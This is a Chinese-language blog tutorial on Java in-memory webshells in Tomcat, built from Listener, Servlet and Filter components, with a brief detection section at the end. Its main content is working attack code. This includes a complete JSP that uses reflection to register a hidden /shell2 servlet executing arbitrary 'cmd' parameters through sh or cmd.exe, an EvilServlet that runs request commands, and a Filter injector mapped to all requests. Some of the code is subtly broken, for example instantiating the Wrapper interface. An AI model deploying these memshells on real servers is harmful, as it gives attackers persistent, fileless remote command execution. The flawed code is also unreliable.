基礎(chǔ)知識

（代碼功底不好，就找ai優(yōu)化了一下）

Java內(nèi)存馬是一種利用Java虛擬機（JVM）動態(tài)特性（如類加載機制、反射技術(shù)等）在內(nèi)存中注入惡意代碼的攻擊手段。它不需要在磁盤上寫入文件，因此具有很強的隱蔽性，難以被傳統(tǒng)基于文件系統(tǒng)的安全檢測工具發(fā)現(xiàn)。

Java內(nèi)存馬的實現(xiàn)主要依賴以下JVM特性：
反射機制：通過反射可以動態(tài)地操作類、方法和字段，甚至可以調(diào)用私有方法或修改私有字段。
動態(tài)類加載：Java允許在運行時動態(tài)加載新的類，內(nèi)存馬利用這一點將惡意代碼加載到JVM中。
字節(jié)碼操作：通過工具（如ASM、CGLIB）可以動態(tài)生成或修改字節(jié)碼，從而注入惡意邏輯。

Java內(nèi)存馬的常見類型	原理
Servlet型內(nèi)存馬	利用Java反射技術(shù)和Web容器（如Tomcat）的API，在運行時動態(tài)注冊惡意的Servlet組件。當訪問特定URL時，惡意Servlet會被觸發(fā)執(zhí)行。
Listener型內(nèi)存馬	利用Java反射技術(shù)和Web容器（如Tomcat）的API，在運行時動態(tài)注冊惡意的Servlet組件。當訪問特定URL時，惡意Servlet會被觸發(fā)執(zhí)行
Filter型內(nèi)存馬	動態(tài)注冊惡意的Filter（過濾器），在請求到達Servlet之前攔截請求并執(zhí)行惡意代碼。
Valve型內(nèi)存馬	基于Tomcat的Valve機制，動態(tài)注冊惡意Valve組件。Valve在請求處理流程中更早地攔截請求，甚至可以攔截所有請求
Java-Agent型內(nèi)存馬	利用Java-Agent技術(shù)，通過java.lang.instrument包動態(tài)修改類的字節(jié)碼，注入惡意代碼。這種方式可以在不修改源代碼的情況下，修改已加載類的行為

講人話，就是java內(nèi)存馬是無文件落地的，利用Java的動態(tài)特性將惡意代碼注入到內(nèi)存中運行，且能夠在不觸發(fā)文件檢測的情況下長期駐留，但內(nèi)存馬的持久性依賴于JVM的運行，一旦JVM重啟，內(nèi)存馬通常會失效。

java三大組件

Servlet 、Filter 、Listener

三個組件的作用…（嘰里咕嚕一大堆）

三大組件	總結(jié)與區(qū)別
Servlet	核心功能：處理請求和響應(yīng)，生成動態(tài)內(nèi)容。生命周期：由請求觸發(fā)，每次請求都會調(diào)用doGet()或doPost()方法。 作用范圍：針對具體的請求和響應(yīng)。
Filter	核心功能：攔截請求和響應(yīng)，執(zhí)行預(yù)處理或后處理。 生命周期：在請求到達Servlet之前或響應(yīng)返回客戶端之前被調(diào)用。作用范圍：可以作用于多個Servlet或整個應(yīng)用。
Listener	核心功能：監(jiān)聽生命周期事件，執(zhí)行特定邏輯。生命周期：在事件發(fā)生時被調(diào)用，例如應(yīng)用啟動、會話創(chuàng)建等。 作用范圍：全局作用，監(jiān)聽整個應(yīng)用的生命周期。

當然了，要了解一下JAVA Web的訪問流程
1、我們?nèi)フ埱笠粋€1.jsp
2、經(jīng)過Listener組件，如果存在的話
3、經(jīng)過Filter組件，如果存在的話
4、此時來到Servlet這個組件，如果服務(wù)端存在1.jsp這個文件的話，那么就會去請求相對應(yīng)的路由
5、訪問1.jsp這文件

Listener、Filter這兩個組件不一定會經(jīng)過，但是Servlet這個組件一定會經(jīng)過，因為Servlet 是 Java Web 開發(fā)的核心組件，用于處理請求并生成響應(yīng)

Listener

基于 Listener 的內(nèi)存馬利用 Tomcat 的 API 和 Java 的反射機制，在運行時動態(tài)注冊一個惡意的 Listener。當 Web 應(yīng)用程序的生命周期事件或?qū)傩宰兏录l(fā)生時，這個惡意的 Listener 就會執(zhí)行預(yù)先設(shè)定的惡意代碼。

第一個小復現(xiàn)

在本機的idea上測試，先建一個項目，再新建一個test的類

其中建立一個Listener監(jiān)聽器，指向剛剛建立的test1文件內(nèi)容

再test1類中寫入

package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;public class test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}

說明成功運行

我們同樣可以加入一些執(zhí)行代碼。比如彈計算器啊
我這里加入了一些代碼，訪問后發(fā)現(xiàn)打開了文件夾

package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;
import jakarta.servlet.http.HttpServletRequest;@WebListener
public class Test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent event) {// 將 ServletRequest 轉(zhuǎn)換為 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request initialized: " + request.getRequestURI());executeCommand(); // 調(diào)用執(zhí)行命令的方法}@Overridepublic void requestDestroyed(ServletRequestEvent event) {// 將 ServletRequest 轉(zhuǎn)換為 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request destroyed: " + request.getRequestURI());}/*** 執(zhí)行系統(tǒng)命令的方法。*/private void executeCommand() {try {// 根據(jù)操作系統(tǒng)類型執(zhí)行不同的命令String os = System.getProperty("os.name").toLowerCase();String command;if (os.contains("win")) {// Windows 系統(tǒng)：打開文件管理器command = "explorer.exe";} else if (os.contains("mac")) {// macOS 系統(tǒng)：打開Findercommand = "open";} else {// Linux 系統(tǒng)：打開默認文件管理器command = "xdg-open";}// 執(zhí)行命令Process process = Runtime.getRuntime().exec(command);System.out.println("Command executed: " + command);} catch (Exception e) {System.err.println("Failed to execute command: " + e.getMessage());}}
}

Listener內(nèi)存馬通常是指動態(tài)注冊一個新的惡意Listener組件，傳統(tǒng)javaweb項目的內(nèi)存馬就是創(chuàng)建了個新的Listener、Filter、Servlet這幾個東西，其它類型的內(nèi)存馬也是同理。這里要注意一下Java Web容器的Listener機制允許存在多個Listener，Listener內(nèi)存馬不會覆蓋原有的Listener組件，新舊Listener會共存并同時生效。
但又有一個問題來了，listener 是咋把我們創(chuàng)建的類test1加載到內(nèi)存中的
答案就是：
StandardContext類的context

StandardContext是Tomcat中管理Web應(yīng)用生命周期的核心類，它通過addApplicationEventListener方法將Listener加載到內(nèi)存中，并在適當?shù)氖录l(fā)生時調(diào)用它們。我們可以通過web.xml配置、注解或動態(tài)注冊的方式將自定義的Listener（如Test1）添加到StandardContext中。

Servlet

Servlet 型內(nèi)存馬與 Filter 型內(nèi)存馬類似，都是利用Java 的反射機制和 Tomcat 的 API 在運行時動態(tài)注冊惡意的組件。Servlet 內(nèi)存馬通過動態(tài)注冊一個惡意的 Servlet 來接管特定 URL 的請求，從而實現(xiàn)對目標系統(tǒng)的控制。

該內(nèi)存馬流程大致如下：

   創(chuàng)建servlet獲取StandardContext#context創(chuàng)建wrapper并寫入servlet信息添加wrapper并添加路由信息

第二個小復現(xiàn)

和之前的linstener差不多一樣的構(gòu)建方法
創(chuàng)建一個test2類，寫入下面的代碼

package com.sf.maven.servletshell;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;public class test2 extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 設(shè)置響應(yīng)內(nèi)容類型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 輸出響應(yīng)內(nèi)容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>GET Request Received</h1>");out.println("<p>Method: GET</p>");out.println("</body></html>");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 設(shè)置響應(yīng)內(nèi)容類型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 輸出響應(yīng)內(nèi)容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>POST Request Received</h1>");out.println("<p>Method: POST</p>");out.println("</body></html>");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 設(shè)置響應(yīng)內(nèi)容類型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 輸出響應(yīng)內(nèi)容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>PUT Request Received</h1>");out.println("<p>Method: PUT</p>");out.println("</body></html>");}
}

那么就可以創(chuàng)建一個惡意jsp，來達成我們的目的

package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;public class EvilServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}@Overrideprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}private void processRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {response.setContentType("text/plain");PrintWriter out = response.getWriter();String command = request.getParameter("shihui");if (command != null && !command.trim().isEmpty()) {try {Process process = Runtime.getRuntime().exec(command);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);}} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}} else {response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing or empty 'shihui' parameter");}}// 動態(tài)注冊惡意 Servlet 到 Tomcatpublic static void registerEvilServlet() throws Exception {// 獲取當前 ServletContextServletConfig servletConfig = EvilServlet.class.getServletConfig();Context context = (Context) servletConfig.getServletContext();// 創(chuàng)建 Wrapper 并封裝惡意 ServletWrapper wrapper = new Wrapper();wrapper.setName("EvilServlet");wrapper.setServletClass(EvilServlet.class.getName());wrapper.setLoadOnStartup(1);// 添加到 StandardContextStandardContext standardContext = (StandardContext) context;standardContext.addChild(wrapper);standardContext.addServletMappingDecoded("/evil", "EvilServlet");System.out.println("EvilServlet registered successfully.");}
}

成功截圖就懶的放了，方便下滑

CVE-2020-1938

Servlet和Tomcat的關(guān)系 Tomcat里面有Servlet容器（引擎） Tomcat可以提供HTTP訪問
Tomcat可以把HTTP請求轉(zhuǎn)換為HttpServletRequest對象，并調(diào)用doGet/doPost，并且把HttpServletResponse轉(zhuǎn)換為HTTP響應(yīng)內(nèi)容

為了方便演示，這里跳過RCE，因為我們現(xiàn)在是想往當前 Tomcat 搭建的 Web 服務(wù)中動態(tài)注入一個惡意 Servlet，完成這個目標的前提是已經(jīng)擁有了一個 Webshell
所以我這直接手動向?qū)⒁粋€惡意 jsp 文件，實現(xiàn)一個惡意 Servlet 的動態(tài)注冊，從而達到注入內(nèi)存馬操作
我們先新建一個惡意jsp文件
（找ai優(yōu)化了一下代碼）

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="java.lang.reflect.Field" %><%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd");if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided.");return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false;String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};Process process = Runtime.getRuntime().exec(cmds);InputStream inputStream = process.getInputStream();Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");String output = scanner.hasNext() ? scanner.next() : "No output.";PrintWriter writer = response.getWriter();writer.println(output);writer.flush();}}
%><%ServletContext servletContext = request.getServletContext();try {Field applicationField = servletContext.getClass().getDeclaredField("context");applicationField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context = (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper = context.createWrapper();wrapper.setName("Shell2Servlet");wrapper.setServletClass(Shell2Servlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded("/shell2", "Shell2Servlet");out.println("Shell2Servlet injected successfully!");out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage());}
%>

分析上面的代碼，我們可以從兩部分來分析

Shell2Servlet類

這部分定義了一個繼承自HttpServlet的類，用于處理HTTP請求并執(zhí)行系統(tǒng)命令。

<%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd"); // 從請求中獲取名為"cmd"的參數(shù)if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided."); // 如果沒有命令，返回提示信息return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false; // 判斷操作系統(tǒng)類型String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; // 構(gòu)造命令Process process = Runtime.getRuntime().exec(cmds); // 執(zhí)行命令I(lǐng)nputStream inputStream = process.getInputStream(); // 獲取命令的輸出流Scanner scanner = new Scanner(inputStream).useDelimiter("\\A"); // 使用Scanner讀取輸出String output = scanner.hasNext() ? scanner.next() : "No output."; // 將輸出轉(zhuǎn)換為字符串PrintWriter writer = response.getWriter(); // 獲取響應(yīng)的輸出流writer.println(output); // 將命令的輸出寫入HTTP響應(yīng)writer.flush(); // 刷新輸出流}}
%>

service方法：
這是一個通用的請求處理方法，用于處理所有類型的HTTP請求（GET、POST等）。
它從請求中獲取cmd參數(shù)，該參數(shù)包含要執(zhí)行的系統(tǒng)命令。
操作系統(tǒng)判斷：
通過System.getProperty(“os.name”)獲取操作系統(tǒng)名稱。
如果是Linux/Unix系統(tǒng)，使用sh -c執(zhí)行命令；如果是Windows系統(tǒng)，使用cmd.exe /c執(zhí)行命令。
命令執(zhí)行：
使用Runtime.getRuntime().exec()執(zhí)行命令。
通過InputStream獲取命令的輸出，并使用Scanner將其轉(zhuǎn)換為字符串。
響應(yīng)輸出：
將命令的輸出寫入HTTP響應(yīng)中，返回給客戶端。

JSP頁面中的動態(tài)注入

這部分代碼通過反射操作Tomcat的內(nèi)部類，動態(tài)注入Shell2Servlet，使其能夠響應(yīng)特定的URL路徑。

<%ServletContext servletContext = request.getServletContext(); // 獲取當前Web應(yīng)用的ServletContexttry {Field applicationField = servletContext.getClass().getDeclaredField("context"); // 獲取ServletContext中的applicationContext字段applicationField.setAccessible(true); // 設(shè)置字段可訪問ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); // 獲取ApplicationContext對象Field standardContextField = applicationContext.getClass().getDeclaredField("context"); // 獲取ApplicationContext中的standardContext字段standardContextField.setAccessible(true); // 設(shè)置字段可訪問StandardContext context = (StandardContext) standardContextField.get(applicationContext); // 獲取StandardContext對象Wrapper wrapper = context.createWrapper(); // 創(chuàng)建一個新的Wrapper對象wrapper.setName("Shell2Servlet"); // 設(shè)置Wrapper的名稱wrapper.setServletClass(Shell2Servlet.class.getName()); // 設(shè)置Wrapper的Servlet類名context.addChild(wrapper); // 將Wrapper添加到StandardContext中context.addServletMappingDecoded("/shell2", "Shell2Servlet"); // 將Servlet映射到URL路徑"/shell2"out.println("Shell2Servlet injected successfully!"); // 輸出注入成功的信息out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage()); // 如果注入失敗，輸出錯誤信息}
%>

獲取ServletContext：
request.getServletContext()獲取當前Web應(yīng)用的ServletContext對象。
反射操作：
使用反射獲取ServletContext中的ApplicationContext對象。
使用反射獲取ApplicationContext中的StandardContext對象。
創(chuàng)建Wrapper對象：
StandardContext是Tomcat中用于管理Servlet的容器。
創(chuàng)建一個新的Wrapper對象，用于托管Shell2Servlet。
設(shè)置Wrapper的名稱和Servlet類名，并將其添加到StandardContext中。
映射URL路徑：
使用addServletMappingDecoded方法將Shell2Servlet映射到URL路徑/shell2。
這意味著訪問/shell2時，請求將被轉(zhuǎn)發(fā)到Shell2Servlet。
輸出注入結(jié)果：
如果注入成功，輸出成功信息和訪問路徑。
如果注入失敗，輸出錯誤信息。

注入完成

把該惡意jsp放入tomcat容器的/webapps/ROOT中

再去訪問url/shihui.jsp,完成惡意 Servlet 的動態(tài)注入到 Tomcat 容器的動作，即注入內(nèi)存馬
成功訪問我們注入的內(nèi)存馬,再url里帶上一個cmd參數(shù)

Filter

流程

創(chuàng)建 Filter 對象：實現(xiàn) javax.servlet.Filter 接口。
獲取 StandardContext：通過反射獲取當前 Web 應(yīng)用的 StandardContext 對象。
配置 FilterDef：定義 Filter 的別名、類名和實例。
配置 FilterMap：定義 Filter 的觸發(fā)路由。
將 FilterDef 和 FilterMap 添加到 StandardContext：通過反射將 Filter 注冊到 Web 容器中。

filter內(nèi)存馬和listerner的區(qū)別

listerner內(nèi)存馬只需控制的是listener這個類傳入，那是因為創(chuàng)建listener時我們要配置的信息只有類，但是filter不一樣，我們要配置的信息除了類，還有類別名，還有對應(yīng)的觸發(fā)訪問路由，那么我們想要創(chuàng)建一個filter內(nèi)存馬是不是除了filter對象的傳入，還要搞清楚filter別名、filter路由是如何傳入的

第三個復現(xiàn)

創(chuàng)建test3類的流程和之前一樣，先在test3類里填入代碼

package com.sf.maven.servletshell;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法，在 Filter 啟動時調(diào)用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 將通用 ServletRequest 轉(zhuǎn)換為 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在請求處理之前執(zhí)行邏輯System.out.println("Request received: " + httpRequest.getRequestURI());// 繼續(xù)傳遞請求到下一個 Filter 或目標 Servletchain.doFilter(request, response);// 在請求處理之后執(zhí)行邏輯System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 銷毀方法，在 Filter 停止時調(diào)用System.out.println("destroy");}
}

再加入你的惡意代碼即可
下面這串是整個惡意代碼包括之前創(chuàng)建類的代碼

package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法，在 Filter 啟動時調(diào)用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 將通用 ServletRequest 轉(zhuǎn)換為 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在請求處理之前執(zhí)行邏輯System.out.println("Request received: " + httpRequest.getRequestURI());// 繼續(xù)傳遞請求到下一個 Filter 或目標 Servletchain.doFilter(request, response);// 在請求處理之后執(zhí)行邏輯System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 銷毀方法，在 Filter 停止時調(diào)用System.out.println("destroy");}/*** 動態(tài)注冊 Filter 到 Tomcat*/public static void registerFilter(ServletRequest request) throws Exception {// 獲取當前 ServletContextServletContext servletContext = request.getServletContext();// 通過反射獲取 StandardContextField contextField = servletContext.getClass().getDeclaredField("context");contextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 創(chuàng)建 FilterDef 并配置 FilterFilterDef filterDef = new FilterDef();filterDef.setFilterName("test3Filter"); // 設(shè)置 Filter 別名filterDef.setFilterClass(test3.class.getName()); // 設(shè)置 Filter 類名filterDef.setFilter(new test3()); // 設(shè)置 Filter 實例// 創(chuàng)建 FilterMap 并配置觸發(fā)路由FilterMap filterMap = new FilterMap();filterMap.setFilterName("test3Filter"); // 設(shè)置 Filter 別名filterMap.addURLPattern("/*"); // 設(shè)置觸發(fā)路由，匹配所有請求// 將 FilterDef 和 FilterMap 添加到 StandardContextstandardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);System.out.println("Filter 'test3Filter' registered successfully.");}
}

三大內(nèi)存馬的總結(jié)

省流版
Servlet 內(nèi)存馬：通過動態(tài)注冊惡意 Servlet 并綁定 URL 路由，當訪問特定路徑時觸發(fā)惡意邏輯。
Filter 內(nèi)存馬：通過動態(tài)注冊惡意 Filter 并配置路由，攔截請求時觸發(fā)惡意邏輯。
Listener 內(nèi)存馬：通過動態(tài)注冊惡意 Listener，當特定事件發(fā)生時（如應(yīng)用啟動、會話創(chuàng)建）觸發(fā)惡意邏輯。

1. Servlet 內(nèi)存馬的流程
   創(chuàng)建惡意 Servlet：
   定義一個惡意的 HttpServlet，在 doGet 或 doPost 方法中實現(xiàn)惡意邏輯（如執(zhí)行命令、讀取文件等）。
   動態(tài)注冊 Servlet：
   通過反射獲取當前 Web 應(yīng)用的 StandardContext 對象。
   創(chuàng)建一個 Wrapper 對象，封裝惡意 Servlet 的類名和實例。
   將 Wrapper 添加到 StandardContext 中，并綁定一個 URL 路由（如 /evil）。
   添加 Servlet 映射，使惡意 Servlet 能夠響應(yīng)特定路徑的請求。
   觸發(fā)惡意邏輯：
   當客戶端訪問綁定的 URL 路由時，惡意 Servlet 被觸發(fā)，執(zhí)行惡意邏輯。

2. Filter 內(nèi)存馬的流程
   創(chuàng)建惡意 Filter：
   定義一個實現(xiàn) Filter 接口的惡意類，在 doFilter 方法中實現(xiàn)惡意邏輯。
   動態(tài)注冊 Filter：
   通過反射獲取當前 Web 應(yīng)用的 StandardContext 對象。
   創(chuàng)建 FilterDef 對象，配置惡意 Filter 的別名、類名和實例。
   創(chuàng)建 FilterMap 對象，定義 Filter 的觸發(fā)路由（如 /*，匹配所有請求）。
   將 FilterDef 和 FilterMap 添加到 StandardContext 中。
   觸發(fā)惡意邏輯：
   當客戶端發(fā)起請求時，惡意 Filter 會根據(jù)配置的路由攔截請求，并執(zhí)行惡意邏輯。

3. Listener 內(nèi)存馬的流程
   創(chuàng)建惡意 Listener：
   定義一個實現(xiàn) ServletContextListener 或 HttpSessionListener 接口的惡意類，在 contextInitialized 或 sessionCreated 方法中實現(xiàn)惡意邏輯。
   動態(tài)注冊 Listener：
   通過反射獲取當前 Web 應(yīng)用的 StandardContext 對象。
   創(chuàng)建惡意 Listener 的實例。
   將惡意 Listener 添加到 StandardContext 的監(jiān)聽器列表中。
   觸發(fā)惡意邏輯：
   當 Web 應(yīng)用啟動（contextInitialized）或會話創(chuàng)建（sessionCreated）時，惡意 Listener 被觸發(fā)，執(zhí)行惡意邏輯。

value和agent（純理論，無實操版）

這兩個我就放一起總結(jié)了，當然不是因為懶

value是tomcat獨有的

他的流程如下：
尋找目標對象或類：
找到目標應(yīng)用中已存在的對象或類，這些對象或類通常具有可被利用的屬性（如 value）。
修改目標對象的屬性或行為：
通過反射或其他方式修改目標對象的屬性值，注入惡意代碼。
例如，修改某個全局變量或配置類的屬性，使其包含惡意邏輯。
觸發(fā)惡意代碼：
當目標對象的屬性被訪問或使用時，惡意代碼被觸發(fā)。
這種觸發(fā)方式通常依賴于特定的請求或操作，例如訪問某個特定的 URL 或調(diào)用某個方法。

也就是說該內(nèi)存馬是通過修改現(xiàn)有對象或類的屬性，適合在已有組件的基礎(chǔ)上進行簡單修改，但依賴一些特定的請求或操作

agent

Agent 類型內(nèi)存馬的流程：

1.創(chuàng)建 Agent 程序：
編寫一個 Java Agent 程序，實現(xiàn) premain 或 agentmain 方法。
使用 java.lang.instrument 包提供的 Instrumentation 和 ClassFileTransformer 接口來動態(tài)修改字節(jié)碼。
2.打包 Agent 為 JAR 文件：
將 Agent 程序打包為 JAR 文件，并在 MANIFEST.MF 文件中指定 Premain-Class 或 Agent-Class。
3.加載 Agent：
premain 方式：在 JVM 啟動時通過 -javaagent 參數(shù)加載。
agentmain 方式：在 JVM 啟動后，通過 Attach API 動態(tài)加載。
使用 VirtualMachine 類連接到目標 JVM，并調(diào)用 loadAgent 方法。
4.修改字節(jié)碼：
使用字節(jié)碼操作庫（如 Javassist、ASM）動態(tài)修改目標類的字節(jié)碼。
例如，可以在目標類的方法中插入惡意代碼。
5.觸發(fā)惡意代碼：
當目標類的方法被調(diào)用時，惡意代碼被觸發(fā)。
由于修改發(fā)生在內(nèi)存中，不會留下文件痕跡，因此隱蔽性很高。

那么我們就可以發(fā)現(xiàn)Agent 類型內(nèi)存馬，他是用 Java Agent 技術(shù)動態(tài)修改字節(jié)碼來完成的，實現(xiàn)復雜，但可以動態(tài)注入到已啟動的 JVM 中，隱蔽性很高

查殺

雖然沒幾個人可以手動排查內(nèi)存馬，但也走個過場，作為了解即可，基本都是用工具
想要查殺那么就得先定位

內(nèi)存馬雖然是無文件落地的，但你也可以從其的流量特征和代碼特征兩個方面來完成定位
所謂的流量特征和代碼特征，圍繞的點，無外乎是老生常談的那幾點：

異常路徑和狀態(tài)碼， 攻擊者可能會嘗試通過訪問 /shell, /cmd, /hack, /test 等不存在的路徑，并攜帶參數(shù)執(zhí)行命令。
動態(tài)變化的數(shù)據(jù)包大小： 內(nèi)存馬在執(zhí)行命令或返回結(jié)果時，會導致數(shù)據(jù)包大小發(fā)生動態(tài)變化，這是內(nèi)存馬活動的典型特征。
特殊的 User-Agent 或 Referer 字段： 攻擊者有時會使用特殊的 User-Agent 或 Referer 字段來標識或控制內(nèi)存馬。
惡意的代碼執(zhí)行，因為內(nèi)存馬的核心功能是執(zhí)行惡意命令。
可疑的類名和包名，比如我之前搞的test類。
加解密操作： 為了隱藏惡意代碼和通信內(nèi)容，內(nèi)存馬通常會使用加解密算法，例如 AES、Base64 等。
動態(tài)注冊組件： 內(nèi)存馬可能會利用 Java 反射機制動態(tài)注冊 Filter、Servlet、Listener 等組件。
…

至于查殺，這個圖很好的描述了